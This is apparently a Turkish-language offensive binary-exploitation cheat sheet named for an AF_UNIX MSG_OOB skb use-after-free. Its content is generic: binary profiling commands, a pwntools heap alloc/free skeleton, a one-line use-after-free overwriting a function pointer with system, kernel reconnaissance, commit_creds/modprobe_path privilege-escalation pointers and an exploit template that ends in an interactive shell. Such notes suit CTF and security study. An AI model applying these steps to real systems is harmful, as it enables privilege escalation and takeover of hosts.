Af Unix Msg Oob Uaf Skb Primitives

binexp offensive

Af Unix Msg Oob Uaf Skb Primitives bellek güvenliği istismarı notudur. Protections ölç, primitif kur, kontrol akışını ele geçir.

Metodoloji

1. checksec + mimari + crash yüzeyini çıkar.

2. Leak veya write primitifini kur.

3. ROP/hook/AW2E ile kontrol akışı al.

4. Shell veya flag’i stabilize et.

Binary profil

file ./vuln

checksec --file=./vuln

pwn checksec ./vuln

readelf -l ./vuln | rg -i 'gnu_stack|interp'

readelf -S ./vuln | rg -i 'got|plt|bss|fini'

gdb -q ./vuln

Heap primitif

echo "gdb/pwndbg: heap / bins / chunks"

from pwn import *
p=process('./vuln')
def alloc(sz,data=b'A'):
    p.sendlineafter(b'>', b'1'); p.sendlineafter(b':', str(sz).encode()); p.sendafter(b':', data)
def free(idx):
    p.sendlineafter(b'>', b'2'); p.sendlineafter(b':', str(idx).encode())

UAF

alloc(0x28,b"A"); free(0); alloc(0x28,p64(system)); call(0)

dangling pointer → function ptr / fd overwrite

Kernel yüzeyi

uname -a

cat /proc/version

id

dmesg | tail -50

UAF/OOB → RW → modprobe_path / commit_creds

Privesc

cat /proc/kallsyms | rg -i "commit_creds|modprobe_path" | head

gcc -O2 exploit.c -o exp -static && ./exp

Exploit iskeleti

from pwn import *
context.binary=ell=ELF('./vuln')
p=process('./vuln')
# p=remote('TARGET',1337)
# leak → calc → write → control
p.interactive()

python3 exploit.py

Checklist

[ ] fingerprint / profil alındı
[ ] primitif veya erişim doğrulandı
[ ] PoC etkiyi gösterdi
[ ] kanıt paketlendi
[ ] sonraki pivot not edildi